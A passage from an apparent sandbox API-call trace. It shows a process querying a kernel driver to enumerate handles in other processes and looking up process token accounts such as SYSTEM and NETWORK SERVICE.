ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003568a20, HandleInformation=0x0) returned 0x0 [0106.243] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.243] PsReleaseProcessExitSynchronization () returned 0x2 [0106.243] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0106.243] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.243] ObfDereferenceObject (Object=0xfffffa8003568a20) returned 0x1 [0106.243] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.243] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.243] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.243] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0106.243] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.243] PsAcquireProcessExitSynchronization () returned 0x0 [0106.243] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff88004f095d0) [0106.243] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80026f13a0, HandleInformation=0x0) returned 0x0 [0106.243] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.243] PsReleaseProcessExitSynchronization () returned 0x2 [0106.243] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0106.243] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.243] ObfDereferenceObject (Object=0xfffffa80026f13a0) returned 0x1 [0106.243] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.243] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.243] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.243] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.243] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.243] PsAcquireProcessExitSynchronization () returned 0x0 [0106.243] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff88004f095d0) [0106.243] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0106.243] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.243] PsReleaseProcessExitSynchronization () returned 0x2 [0106.243] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0106.243] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.243] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4c [0106.244] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.244] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.244] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.244] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0106.244] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.244] PsAcquireProcessExitSynchronization () returned 0x0 [0106.244] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff88004f095d0) [0106.244] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003473110, HandleInformation=0x0) returned 0x0 [0106.244] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.244] PsReleaseProcessExitSynchronization () returned 0x2 [0106.244] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0106.244] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.244] ObfDereferenceObject (Object=0xfffffa8003473110) returned 0x1 [0106.244] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.244] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.244] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.244] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0106.244] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.244] PsAcquireProcessExitSynchronization () returned 0x0 [0106.244] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff88004f095d0) [0106.244] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0001f58e0, HandleInformation=0x0) returned 0x0 [0106.244] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.244] PsReleaseProcessExitSynchronization () returned 0x2 [0106.244] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0106.244] ObQueryNameString (in: Object=0xfffff8a0001f58e0, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.244] ObfDereferenceObject (Object=0xfffff8a0001f58e0) returned 0x1 [0106.244] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.244] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.244] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xbc0) returned 0xc0 [0106.244] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.244] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80022bd7b0, HandleInformation=0x0) returned 0x0 [0106.244] ObOpenObjectByPointer (in: Object=0xfffffa80022bd7b0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.245] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0106.245] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa8003571040 | out: TokenHandle=0xfffffa8003571040*=0xc8) returned 0x0 [0106.245] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.245] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.245] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.245] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.246] CloseHandle (hObject=0xc8) returned 1 [0106.246] CloseHandle (hObject=0xc0) returned 1 [0106.246] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.246] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0106.246] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.246] PsAcquireProcessExitSynchronization () returned 0x0 [0106.246] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff88004f095d0) [0106.246] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80021662c0, HandleInformation=0x0) returned 0x0 [0106.246] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.246] PsReleaseProcessExitSynchronization () returned 0x2 [0106.246] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0106.246] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.246] ObfDereferenceObject (Object=0xfffffa80021662c0) returned 0x1 [0106.246] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.247] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.247] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.247] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0106.247] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.247] PsAcquireProcessExitSynchronization () returned 0x0 [0106.247] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff88004f095d0) [0106.247] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80022c2840, HandleInformation=0x0) returned 0x0 [0106.247] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.247] PsReleaseProcessExitSynchronization () returned 0x2 [0106.247] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0106.247] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.247] ObfDereferenceObject (Object=0xfffffa80022c2840) returned 0x1 [0106.247] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.247] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.247] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.247] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0106.247] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.247] PsAcquireProcessExitSynchronization () returned 0x0 [0106.247] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff88004f095d0) [0106.247] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0106.247] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.247] PsReleaseProcessExitSynchronization () returned 0x2 [0106.247] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0106.247] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.247] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0106.247] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.247] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.247] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.247] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0106.247] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.247] PsAcquireProcessExitSynchronization () returned 0x0 [0106.247] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff88004f095d0) [0106.247] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0106.247] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.248] PsReleaseProcessExitSynchronization () returned 0x2 [0106.248] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0106.248] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.248] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0106.248] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.248] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.248] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.248] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0106.248] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.248] PsAcquireProcessExitSynchronization () returned 0x0 [0106.248] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff88004f095d0) [0106.248] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0106.248] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.248] PsReleaseProcessExitSynchronization () returned 0x2 [0106.248] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0106.248] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.248] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0106.248] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.248] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.248] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.248] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0106.248] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.248] PsAcquireProcessExitSynchronization () returned 0x0 [0106.248] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff88004f095d0) [0106.248] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80022d2a60, HandleInformation=0x0) returned 0x0 [0106.248] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.248] PsReleaseProcessExitSynchronization () returned 0x2 [0106.248] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0106.248] ObQueryNameString (in: Object=0xfffffa80022d2a60, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.248] ObfDereferenceObject (Object=0xfffffa80022d2a60) returned 0x1 [0106.248] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.248] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.248] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.249] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0106.249] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.249] PsAcquireProcessExitSynchronization () returned 0x0 [0106.249] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff88004f095d0) [0106.249] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80023145e0, HandleInformation=0x0) returned 0x0 [0106.249] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.249] PsReleaseProcessExitSynchronization () returned 0x2 [0106.249] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x37 [0106.249] ObQueryNameString (in: Object=0xfffffa80023145e0, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0106.249] ObfDereferenceObject (Object=0xfffffa80023145e0) returned 0x2 [0106.249] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.249] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.249] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xbec) returned 0xc0 [0106.249] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0106.249] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80023109d0, HandleInformation=0x0) returned 0x0 [0106.249] ObOpenObjectByPointer (in: Object=0xfffffa80023109d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000530) returned 0x0 [0106.249] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x45 [0106.249] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000530, DesiredAccess=0x8, TokenHandle=0xfffffa8003571040 | out: TokenHandle=0xfffffa8003571040*=0xc8) returned 0x0 [0106.249] ZwClose (Handle=0xffffffff80000530) returned 0x0 [0106.249] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.249] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0106.249] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0106.251] CloseHandle (hObject=0xc8) returned 1 [0106.251] CloseHandle (hObject=0xc0) returned 1 [0106.251] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.251] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0106.251] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0106.251] PsAcquireProcessExitSynchronization () returned 0x0 [0106.251] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff88004f095d0) [0106.251] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002359770, HandleInformation=0x0) returned 0x0 [0106.251] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0106.251] PsReleaseProcessExitSynchronization () returned 0x2 [0106.251] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x43 [0106.251] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09508) returned 0x0 [0106.251] ObfDereferenceObject (Object=0xfffffa8002359770) returned 0x1 [0106.251] IofCompleteRequest (Irp=0xfffffa8001fad930, PriorityBoost=0) [0106.252] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0106.252] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0106.252] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0106.252] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 